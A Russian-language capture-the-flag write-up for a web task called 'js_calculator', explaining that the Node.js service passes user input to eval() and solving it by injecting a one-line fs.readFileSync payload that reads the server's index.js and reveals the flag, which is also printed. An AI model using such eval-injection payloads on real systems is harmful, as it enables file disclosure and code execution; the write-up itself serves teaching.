

2. js_calculator

WEB 300 БАЛЛОВ

js_calculator

@galaxyshad

Написал клевый калькулятор на JS всего за 3 строчки 😎.
Может все: делить, умножать, вычитать, складывать,
просто пушка.

Super Cool JS Calculator

Решение:

Как можно догадаться из описания, весь сервис написан на NodeJS, а упоминание 3 строчек отсылает на то, что разработчик решил не париться с бизнес логикой и просто отдает весь промпт функции `eval()` (подробнее о ней здесь - <https://clck.ru/34QomH>), которая может выполнять любой JS код, записанный в аргументе.

Сам флаг находится в исходном коде сервера `index.js`. Для решения задачи необходимо вписать в промпт следующий JavaScript код:

```
require('fs').readFileSync('index.js', 'utf8')
```

Тем самым мы считаем весь файл `index.js` и получим его содержимое прямо в промpte:

```
Super Mega Cool JS Calculator  
ss();app.use(express.json());// surctf_3va1_is_3vi1_myau //app.get("/", (req, res) => { return res.sendFile(path.
```

Флаг:

surctf_3va1_is_3vi1_myau